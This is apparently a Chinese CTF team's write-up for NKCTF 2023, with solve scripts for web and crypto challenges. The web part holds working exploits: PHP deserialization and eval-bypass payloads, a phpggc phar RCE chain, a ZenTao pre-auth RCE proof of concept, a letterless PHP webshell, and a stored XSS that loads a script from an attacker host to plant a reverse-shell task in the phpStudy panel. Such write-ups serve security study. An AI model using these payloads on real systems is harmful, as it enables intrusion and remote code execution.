本次 NKCTF 2023,我们Polaris战队排名第4!
排名 | 队伍 | 一血 | 总分 |
---|---|---|---|
1 | 想回到过去试着让故事继续至少不再让你离我而去 | 7 | 13610 |
2 | Territory | 0 | 13511 |
3 | iBiao | 2 | 13454 |
4 | Polaris | 9 | 13144 |
5 | 0psu3 | 0 | 12414 |
6 | 这次还是一个人么 | 8 | 11778 |
7 | W4ntY0u. | 0 | 11458 |
8 | Mini-Venom | 0 | 11104 |
9 | Kap0k | 2 | 11088 |
10 | CNSS | 3 | 10746 |
WEB
babyphp
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['p'])){
unserialize($_GET['p']);
}else{
highlight_file(__FILE__);
}
?>
很基础的反序列化
先dir / 读到文件名是f1ag
唯一要绕的点是如何读f1ag,这里用[!]来替换通配符?
[!q]表示匹配非q的字符
<?php
class Welcome{
public $name;
public $arg;
public function __construct($ar){
$this->name = 'welcome_to_NKCTF';
$this->arg = $ar;
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __construct($sh,$cm){
$this->shell=$sh;
$this->cmd=$cm;
}
}
class Hell0{
public $func;
public function __construct($fu){
$this->func = $fu;
}
}
$s = new Welcome(new Hell0(new Happy('system','sort /[!q]1[!q][!q]')));
echo (serialize($s));
eazyphp
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
if(isset($_GET['NS_CTF.go'])){
if(isset($_POST['cmd'])){
if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
eval($_POST['cmd']);
}else{
die('error!!!!!!');
}
}else{
die('error!!!!!');
}
}else{
die('error!!!!');
}
}else{
die('error!!!');
}
}else{
die('error!!');
}
}else{
die('error!');
}
?>
常规的代码审计与绕过,一步一步传参进行绕过
POST /?a[]=1&b[]=2&e=114514.1&NS[CTF.go=1 HTTP/1.1
Host: c8b8278a-9fb7-4941-adc7-3db21383b68b.node.yuzhian.com.cn:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1342
c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
hard_php
<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['NKCTF'])) {
$NK = $_POST['NKCTF'];
if (is_string($NK)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
eval($NK);
}else{
echo("hacker!!!");
}
}else{
phpinfo();
}
}
?>
# 看看有哪些字符没被过滤
string(1) "!"
string(1) "$"
string(1) "'"
string(1) "("
string(1) ")"
string(1) "+"
string(1) ","
string(1) "."
string(1) "/"
string(1) ";"
string(1) "="
string(1) "["
string(1) "]"
string(1) "_"
# 看phpinfo内容
NKCTF[]=_
看到了disable_functions,过滤的函数有
disable_functions passthru,exec,system,chroot,scandir,chgrp,chown,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,symlink,popepassthru,stream_socket_server,show_source
highlight_file()函数能用
根据CTFshow-RCE极限挑战,调整一下payload,然后是绕过disable_functions
NKCTF=$%ff=(_/_._)[_];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[%ff]($$_[_]);&%ff=highlight_file&_=/flag
CTFshow-RCE极限大挑战官方wp - 飞书云文档 (feishu.cn)
webpagetest
./phpggc Monolog/RCE2 system 'cat /*' -p phar -o /tmp/testinfo.ini
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
curl -sSkig 'http://7d9301ef-2e94-477e-867b-dbc7b9d67c19.node1.yuzhian.com.cn/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
curl -sSkig 'http://7d9301ef-2e94-477e-867b-dbc7b9d67c19.node1.yuzhian.com.cn/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -
webpagetest反序列化及ssrf漏洞分析 - 先知社区 (aliyun.com)
ez_pms
看一下禅道的版本,存在前台RCE
<script src='/js/all.js?v=18.0.beta1'></script>
从网上找一个利用脚本直接打
# -*- coding: UTF-8 -*-
# !/usr/bin/python
'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests
proxies = {
#"http": "127.0.0.1:8080",
#"https": "127.0.0.1:8080",
}
def check(url):
url1 = url+'/misc-captcha-user.html'
# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
url3 = url + 'repo-create.html'
url4 = url + 'repo-edit-10000-10000.html'
headers={
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
}
headers2 = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Content-Type":"application/x-www-form-urlencoded",
"X-Requested-With":"XMLHttpRequest",
"Referer":url+"/repo-edit-1-0.html"
}
data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
data2 = 'SCM=Subversion&client=`cat /flag|base64 -w 0`'
s=requests.session()
try:
req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
print(req4.text)
except Exception as e:
print(e)
return False
if __name__ == '__main__':
print(check("http://4a62faad-f1af-400f-bc23-f9c22b50029d.node1.yuzhian.com.cn/"))
easy_cms
在/dede
目录下进入管理员登录界面,是个弱口令admin,admin
直接登录。
进入后台来到文件式管理器这里,发现可以上传和新建文件。新建了一个php文件,系统会匹配你的文件有没有恶意代码,这个有点像php自动审计工具识别漏洞点一样,是一种基于静态代码分析的一种静态审计,于是我们给他上传一个无字母数字webshell
上去,就不会被检测到了
在根目录上传如下webshell
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
//post a=cat /f1Aggg;
xiaopi
请求带上请求头,才能出现登录框
X-Requested-With: XMLHttpRequest
登录框插入payload
<script src=http://ip:80/poc.js></script>
vps放置poc.js
,然后启动http服务,让目标反弹一个shell回来
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='反弹shell';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
phpstudy 小皮面板 RCE利用链 - 腾讯云开发者社区-腾讯云 (tencent.com)
Crypto
baby_RSAS
dp泄漏分解P、Q
coppersmith解m
import gmpy2 as gp
from Crypto.Util.number import *
e = 65537
N = 1159977299277711167607914893426674454199208605107323826176606074354449015203832606569051328721360397610665453513201486235549374869954501563523028914285006850687275382822302821825953121223999268058107278346499657597050468069712686559045712946025472616754027552629008516489090871415609098178522863027127254404804829735621706042266140637592206366042515190385496909533329383212542170504864473944657824502882014292528444918055958758310544435120502872883857209880723535754528096143707324179005292445100655695427777453144657819474805882956064292780031599790769618615908501966912635232746588639924772530057835864082951499028
dp = 33967356791272818610254738927769774016289590226681637441101504040121743937150259930712897925893431093938385216227201268238374281750681609796883676743311872905933219290266120756315613501614208779063819499785817502677885240656957036398336462000771885589364702443157120609506628895933862241269347200444629283263
n = 114101396033690088275999670914803472451228154227614098210572767821433470213124900655723605426526569384342101959232900145334500170690603208327913698128445002527020347955300595384752458477749198178791196660625870659540794807018881780680683388008090434114437818447523471527878292741702348454486217652394664664641
for a in range(1, e+1):
if (dp*e-1) % a == 0:
if N % ((dp*e-1) // a + 1) == 0: # ! 关键,易漏.要求n被p整除
P = (dp*e-1) // a + 1
Q = N // P
print('P =', P)
print('Q =', Q)
break
else:
a += 1
PR.<m> = PolynomialRing(Zmod(n))
f = P*Q-m^2-m*(P-m+Q-m)
f = f.monic()
m = f.small_roots(X=2^400, beta=0.4)
print(m)
flag1 = long_to_bytes(int(m[0]))
print(flag1)
# NKCTF{Th1S_a_babyRSA_y0u_are_tql!!!}
ez_math
- 找到合适数据求出Kphi
- Kphi当phi解出明文m
import gmpy2
import libnum
e = 0x10001
n = 369520637995317866367336688225182965061898803879373674073832046072914710171302486913303917853881549637806426191970292829598855375370563396182543413674021955181862907847280705741114636854238746612618069619482248639049407507041667720977392421249242597197448360531895206645794505182208390084734779667749657408715621
c = 324131338592233305486487416176106472248153652884280898177125443926549710357763331715045582842045967830200123100144721322509500306940560917086108978796500145618443920020112366546853892387011738997522207752873944151628204886591075864677988865335625452099668804529484866900390927644093597772065285222172136374562043
A = 141997416965295486849546892322458652502850390670128808480582247784728456230996812361056958004801816363393016360646922983916999235770803618904474553309200419301820603229504955218189709387942156848904968053547462302189568831762401075340100029630332409419313772378068180267756675141584884876543484516408660699471038
B = 163378867981477210016607618217525067516899896304907822758749135410592905658324027908854458465871295591148114728316034699358213461728042658497873130073105697195541220650688132150216266657024774867846925219967805863946774978900772828496605795631400777090954141000078238226487076065753781167791598816872139973922682
assert pow(6, 2*B, n) == pow(6, A, n)
assert 2*B != A
C = 156359509651684605051402965560382969488421316701585527115005130492947292379802933549188085059602557600903593831240316597311439285149968787780538126741092612405335349622445040578126369183536683733294143156965518222696624206221060030916594302284630706642066420353822195108928341123726471513256217857861184609387726
D = 170559914324671769117535654836487226009685359320636182075960576764702323732727088502920021993271666209903403463612731506055433486417625242935904916789051793747298593847158174830184596554822038310041512771676833824200302666130102306284852931958549925702330464987955245647072909056824574486147965487598401928881026
assert pow(7, 2*D, n) == pow(7, C, n)
assert 2*D != C
Kphi = gmpy2.gcd(2*B-A, 2*D-C)
d = gmpy2.invert(e, Kphi)
m = int(pow(c,d,n))
print(libnum.n2s(m))
# NKCTF{d15cr373_L0g_15_R3DuC710n_f0R_f4C70r1nG}
ezRSA
- 已知phi分解n,常规rsa求解flag1
- 通过m1确定m2比特位,最后用baby_RSA的coppersmith解法再解一次m2
已知phi分解n
from math import gcd
from math import isqrt
from random import randrange
from gmpy2 import is_prime
# from sage.all import is_prime
def factorize(N, phi):
"""
Recovers the prime factors from a modulus if Euler's totient is known.
This method only works for a modulus consisting of 2 primes!
:param N: the modulus
:param phi: Euler's totient, the order of the multiplicative group modulo N
:return: a tuple containing the prime factors, or None if the factors were not found
"""
s = N + 1 - phi
d = s ** 2 - 4 * N
p = int(s - isqrt(d)) // 2
q = int(s + isqrt(d)) // 2
return p, q
def factorize_multi_prime(N, phi):
"""
Recovers the prime factors from a modulus if Euler's totient is known.
This method works for a modulus consisting of any number of primes, but is considerably be slower than factorize.
More information: Hinek M. J., Low M. K., Teske E., "On Some Attacks on Multi-prime RSA" (Section 3)
:param N: the modulus
:param phi: Euler's totient, the order of the multiplicative group modulo N
:return: a tuple containing the prime factors
"""
prime_factors = set()
factors = [N]
while len(factors) > 0:
# Element to factorize.
N = factors[0]
w = randrange(2, N - 1)
i = 1
while phi % (2 ** i) == 0:
sqrt_1 = pow(w, phi // (2 ** i), N)
if sqrt_1 > 1 and sqrt_1 != N - 1:
# We can remove the element to factorize now, because we have a factorization.
factors = factors[1:]
p = gcd(N, sqrt_1 + 1)
q = N // p
if is_prime(p):
prime_factors.add(p)
elif p > 1:
factors.append(p)
if is_prime(q):
prime_factors.add(q)
elif q > 1:
factors.append(q)
# Continue in the outer loop
break
i += 1
return tuple(prime_factors)
if __name__ =='__main__':
n = 8836130216343708623415307573630337110573363595188748983290313549413242332143945452914800845282478216810685733227137911630239808895196748125078747600505626165666334675100147790578546682128517668100858766784733351894480181877144793496927464058323582165412552970999921215333509253052644024478417393146000490808639363681195799826541558906527985336104761974023394438549055804234997654701266967731137282297623426318212701157416397999108259257077847307874122736921265599854976855949680133804464839768470200425669609996841568545945133611190979810786943246285103031363790663362165522662820344917056587244701635831061853354597
phi = 8836130216343708623415307573630337110573363595188748983290313549413242332143945452914800845282478216810685733227137911630239808895196748125078747600505622503351461565956106005118029537938273153581675065762015952483687057805462728186901563990429998916382820576211887477098611684072561849314986341226981300596338314989867731725668312057134075244816223120038573374383949718714549930261073576391501671722900294331289082826058292599838631513746370889828026039555245672195833927609280773258978856664434349221972568651378808050580665443131001632395175205804045958846124475183825589672204752895252723130454951830966138888560
fac = factorize_multi_prime(n, phi)
print(fac)
import gmpy2
import libnum
n = 8836130216343708623415307573630337110573363595188748983290313549413242332143945452914800845282478216810685733227137911630239808895196748125078747600505626165666334675100147790578546682128517668100858766784733351894480181877144793496927464058323582165412552970999921215333509253052644024478417393146000490808639363681195799826541558906527985336104761974023394438549055804234997654701266967731137282297623426318212701157416397999108259257077847307874122736921265599854976855949680133804464839768470200425669609996841568545945133611190979810786943246285103031363790663362165522662820344917056587244701635831061853354597
phi = 8836130216343708623415307573630337110573363595188748983290313549413242332143945452914800845282478216810685733227137911630239808895196748125078747600505622503351461565956106005118029537938273153581675065762015952483687057805462728186901563990429998916382820576211887477098611684072561849314986341226981300596338314989867731725668312057134075244816223120038573374383949718714549930261073576391501671722900294331289082826058292599838631513746370889828026039555245672195833927609280773258978856664434349221972568651378808050580665443131001632395175205804045958846124475183825589672204752895252723130454951830966138888560
e = 65537
c1 = 78327207863361017953496121356221173288422862370301396867341957979087627011991738176024643637029313969241151622985226595093079857523487726626882109114134910056673489916408854152274726721451884257677533593174371742411008169082367666168983943358876017521749198218529804830864940274185360506199116451280975188409
prime_list = [10278918289612367146046409135513725291319742611325451529622387426552790672650542777172769017399682768083823848127693717878822223823002122605741847534168871, 8420341711111386139826589531912136886697864041156239432418101990860951057225344962981814097328105109563572968937589482777359728076364540186966659710593563, 9422949623669587592195284918343137628924288670457557164230168847803264549856927866278221296107887154859174132983372562130946621134855520373823156469022523, 10834231423967940002221004300639472879422266804796466209639481015717927053785699849888626682293072249949761634253205413288361321778947376683555990557548843]
prime_list = sorted(prime_list)
p,q,r,t = prime_list[0],prime_list[3],prime_list[1],prime_list[2]
d1 = gmpy2.invert(e, phi)
m1 = int(pow(c1, d1, p*q))
flag1 = libnum.n2s(m1)
# part 2
N = 157202814866563156513184271957553223260772141845129283711146204376449001653397810781717934720804041916333174673656579086498762693983380365527400604554663873045166444369504886603233275868192688995284322277504050322927511160583280269073338415758019142878016084536129741435221345599028001581385308324407324725353
c2 = 63355788175487221030596314921407476078592001060627033831694843409637965350474955727383434406640075122932939559532216639739294413008164038257338675094324172634789610307227365830016457714456293397466445820352804725466971828172010276387616894829328491068298742711984800900411277550023220538443014162710037992032
c3 = 9266334096866207047544089419994475379619964393206968260875878305040712629590906330073542575719856965053269812924808810766674072615270535207284077081944428011398767330973702305174973148018082513467080087706443512285098600431136743009829009567065760786940706627087366702015319792328141978938111501345426931078
n = N
P = c2
Q = c3
PR.<m> = PolynomialRing(Zmod(n))
f = P*Q-m^2-m*(P-m+Q-m)
f = f.monic()
m = f.small_roots(X=2^(len(flag1)*2*8), beta=0.7)
flag2 = libnum.n2s(int(m[0]))
print(flag1+flag2)
# b'NKCTF{it_i5_e45y_th4t_Kn0wn_phi_4nd_N_dec0mp0ses_N_w1th_th3_s4m3_c0mm0n_n_but_pq}'
real_MT
import gmpy2
from pwn import *
from extend_mt19937_predictor import ExtendMT19937Predictor
context.log_level = 'debug'
# right shift inverse
def inverse_right(res, shift, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift
return tmp
# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp << shift & mask
return tmp
def recover(y):
y = inverse_right(y, 18)
y = inverse_left_mask(y, 15, 4022730752)
y = inverse_left_mask(y, 7, 2636928640)
y = inverse_right(y, 11)
return y & 0xffffffff
def attack1(list1):
predictor = ExtendMT19937Predictor()
for i in range(208):
predictor.setrandbits(list1[i], 96)
return predictor.predict_getrandbits(96)
def attack2(list1):
predictor = ExtendMT19937Predictor()
for i in range(627):
predictor.setrandbits(list1[i], 32)
for i in range(627):
predictor.backtrack_getrandbits(32)
x = predictor.backtrack_getrandbits(96)
return x
def attack3(last):
n = 1 << 32
inv = gmpy2.invert(1812433253, n)
for i in range(623, 0, -1):
last = ((last - i) * inv) % n
last = inverse_right(last, 30)
return last
def attack4(y):
return recover(y)
# :
sh = remote('node.yuzhian.com.cn', 38574)
sh.recvuntil(b'Press Enter to start...')
sh.sendline()
for i in range(20):
sh.recvline_contains(b'Round:')
data = sh.recvuntil(b':')
if b'Guess after number:' in data:
data.replace(b'Guess after number:', b'')
data = eval(data.split(b'randoms = ')[-1].split(b'\n')[0])
ans = attack1(data)
elif b'Guess pre number:' in data:
data.replace(b'Guess pre number:', b'')
data = eval(data.split(b'randoms = ')[-1].split(b'\n')[0])
ans = attack2(data)
elif b'Guess seed number:' in data:
data.replace(b'Guess seed number:', b'')
data = eval(data.split(b'last number = ')[-1].split(b'\n')[0])
ans = attack3(data)
else:
data.replace(b'Guess be extracted number:', b'')
data = eval(data.split(b'extract number = ')[-1].split(b'\n')[0])
ans = attack4(data)
sh.sendline(str(ans).encode())
sh.recvline() # Good job!
sh.interactive()
# NKCTF{73e1d7d9-29f5-4a9c-a4a8-0350faf4cb76}
fake_MT
import gmpy2
from pwn import *
from extend_mt19937_predictor import ExtendMT19937Predictor
context.log_level = 'debug'
# right shift inverse
def inverse_right(res, shift, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift
return tmp
# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp << shift & mask
return tmp
def recover(y):
y = inverse_right(y, 18)
y = inverse_left_mask(y, 15, 4022730752)
y = inverse_left_mask(y, 7, 2636928640)
y = inverse_right(y, 11)
return y & 0xffffffff
def attack1(list1):
predictor = ExtendMT19937Predictor()
for i in range(208):
predictor.setrandbits(list1[i], 96)
return predictor.predict_getrandbits(96)
def attack2(list1):
predictor = ExtendMT19937Predictor()
for i in range(627):
predictor.setrandbits(list1[i], 32)
for i in range(627):
predictor.backtrack_getrandbits(32)
x = predictor.backtrack_getrandbits(96)
return x
def attack3(last):
n = 1 << 32
inv = gmpy2.invert(1812433253, n)
for i in range(623, 0, -1):
last = ((last - i) * inv) % n
last = inverse_right(last, 30)
return last
def attack4(y):
return recover(y)
sh = remote('node.yuzhian.com.cn', 35467)
for i in range(20):
sh.recvline_contains(b'Round:')
data = sh.recvuntil(b':')
if b'Guess after number:' in data:
data = data.replace(b'L', b'')
data = eval(data.split(b'randoms = ')[-1].split(b'\n')[0])
print(data)
ans = attack1(data)
elif b'Guess pre number:' in data:
data = data.replace(b'L', b'')
data = eval(data.split(b'randoms = ')[-1].split(b'\n')[0])
print(data)
ans = attack2(data)
elif b'Guess seed number:' in data:
data = data.replace(b'L', b'')
data = eval(data.split(b'last number = ')[-1].split(b'\n')[0])
print(data)
ans = attack3(data)
else:
data = data.replace(b'L', b'')
data = eval(data.split(b'extract number = ')[-1].split(b'\n')[0])
print(data)
ans = attack4(data)
sh.sendline(str(ans).encode())
sh.recvline() # Good job!
sh.interactive()
# NKCTF{55d825f1-8bc1-421d-850f-2af971731b5d}
ez_polynomial
import gmpy2, libnum
p = 40031
S.<x> = PolynomialRing(GF(p))
y = x
N=24096*y^93 + 38785*y^92 + 17489*y^91 + 9067*y^90 + 1034*y^89 + 6534*y^88 + 35818*y^87 + 22046*y^86 + 12887*y^85 + 445*y^84 + 26322*y^83 + 37045*y^82 + 4486*y^81 + 3503*y^80 + 1184*y^79 + 38471*y^78 + 8012*y^77 + 36561*y^76 + 19429*y^75 + 35227*y^74 + 10813*y^73 + 26341*y^72 + 29474*y^71 + 2059*y^70 + 16068*y^69 + 31597*y^68 + 14685*y^67 + 9266*y^66 + 31019*y^65 + 6171*y^64 + 385*y^63 + 28986*y^62 + 9912*y^61 + 10632*y^60 + 33741*y^59 + 12634*y^58 + 21179*y^57 + 35548*y^56 + 17894*y^55 + 7152*y^54 + 9440*y^53 + 4004*y^52 + 2600*y^51 + 12281*y^50 + 22*y^49 + 17314*y^48 + 32694*y^47 + 7693*y^46 + 6567*y^45 + 19897*y^44 + 27329*y^43 + 8799*y^42 + 36348*y^41 + 33963*y^40 + 23730*y^39 + 27685*y^38 + 29037*y^37 + 14622*y^36 + 29608*y^35 + 39588*y^34 + 23294*y^33 + 757*y^32 + 20140*y^31 + 19511*y^30 + 1469*y^29 + 3898*y^28 + 6630*y^27 + 19610*y^26 + 11631*y^25 + 7188*y^24 + 11683*y^23 + 35611*y^22 + 37286*y^21 + 32139*y^20 + 20296*y^19 + 36426*y^18 + 25340*y^17 + 36204*y^16 + 37787*y^15 + 31256*y^14 + 505*y^13 + 27508*y^12 + 20885*y^11 + 32037*y^10 + 31236*y^9 + 7929*y^8 + 27195*y^7 + 28980*y^6 + 11863*y^5 + 16025*y^4 + 16389*y^3 + 570*y^2 + 36547*y + 10451
C=3552*x^92 + 6082*x^91 + 25295*x^90 + 35988*x^89 + 26052*x^88 + 16987*x^87 + 12854*x^86 + 25117*x^85 + 25800*x^84 + 30297*x^83 + 5589*x^82 + 23233*x^81 + 14449*x^80 + 4712*x^79 + 35719*x^78 + 1696*x^77 + 35653*x^76 + 13995*x^75 + 13715*x^74 + 4578*x^73 + 37366*x^72 + 25260*x^71 + 28865*x^70 + 36120*x^69 + 7047*x^68 + 10497*x^67 + 19160*x^66 + 17939*x^65 + 14850*x^64 + 6705*x^63 + 17805*x^62 + 30083*x^61 + 2400*x^60 + 10685*x^59 + 15272*x^58 + 2225*x^57 + 13194*x^56 + 14251*x^55 + 31016*x^54 + 10189*x^53 + 35040*x^52 + 7042*x^51 + 29206*x^50 + 39363*x^49 + 32608*x^48 + 38614*x^47 + 5528*x^46 + 20119*x^45 + 13439*x^44 + 25468*x^43 + 30056*x^42 + 19720*x^41 + 21808*x^40 + 3712*x^39 + 25243*x^38 + 10606*x^37 + 16247*x^36 + 36106*x^35 + 17287*x^34 + 36276*x^33 + 1407*x^32 + 28839*x^31 + 8459*x^30 + 38863*x^29 + 435*x^28 + 913*x^27 + 36619*x^26 + 15572*x^25 + 9363*x^24 + 36837*x^23 + 17925*x^22 + 38567*x^21 + 38709*x^20 + 13582*x^19 + 35038*x^18 + 31121*x^17 + 8933*x^16 + 1666*x^15 + 21940*x^14 + 25585*x^13 + 840*x^12 + 21938*x^11 + 20143*x^10 + 28507*x^9 + 5947*x^8 + 20289*x^7 + 32196*x^6 + 924*x^5 + 370*x^4 + 14849*x^3 + 10780*x^2 + 14035*x + 15327
e = 65537
roots = factor(N)
P = roots[0][0]
Q = roots[1][0]
PHI = (p^P.degree()-1)*(p^Q.degree()-1)
D = int(gmpy2.invert(e, PHI))
M = pow(C,D,N)
print(M)
hint = ''.join([chr(i) for i in M])
print(hint)
# NKCTF{We_HaV3_n0th1ng_But_dr3amS}
eZ_Bl⊕ck
r加密和flag加密后的“格式“是一致的,所以两者对应分段异或能消去key
在不具体推理其余变量的情况下,可以直接尝试异或所有可能分段,即解
from Crypto.Util.strxor import strxor as xor
r = b"t\xf7\xaa\xac\x9d\x88\xa4\x8b\x1f+pA\x84\xacHg'\x07{\xcc\x06\xc4i\xdd)\xda\xc9\xad\xa9\xe8\x1fi"
enc1 = b"'{<z}\x91\xda\xc5\xd5S\x8b\xfa\x9f~]J\x0f\xf4\x9a\x1e\xe0\xef\x129N\xe7a\x928+\xe0\xee"
enc2 = b'8\x1f"\x83B4\x86)\xce\xebq3\x06\xa0w\x16U\x04M/w\xa1\x8f;)M\xdd~\x11:\xe3\xb3'
t1 = xor(enc2[:16], enc1[:16])
t2 = xor(enc2[16:], enc1[16:])
r1 = r[:16]
r2 = r[16:]
# print(xor(t1, r1))
# print(xor(t2, r1))
print(xor(t1, r2)) # this
flag1 = xor(t1, r2)
# print(xor(t2, r2))
# print(xor(xor(t1, r1), r2))
# print(xor(xor(t2, r1), r2))
# print(xor(t2, r1))
# print(xor(t2, r2))
# print(xor(xor(t2, r1), r2))
tt = xor(t2, flag1)
# print(xor(tt, r1))
# print(xor(tt, r2))
print(xor(xor(tt, r1), r2)) # this
flag2 = xor(xor(tt, r1), r2)
print(flag2+flag1) # 改为UUID格式
# NKCTF{1ccd5cee-c96d-4caf-8ce5-9a512b3d0655}
Raven
学习https://hash-hash.github.io/2022/11/27/HITCON2022-Crypto/后
构造格求解参数,最后求解出key即可恢复flag
import libnum, gmpy2
from Crypto.Cipher import AES
p = 1018551160851728231474335384388576586031917743463656622083024684199383855595168341728561337234276243780407755294430553694832049089534855113774546001494743212076463713621965520780122783825100696968959866614846174188401153
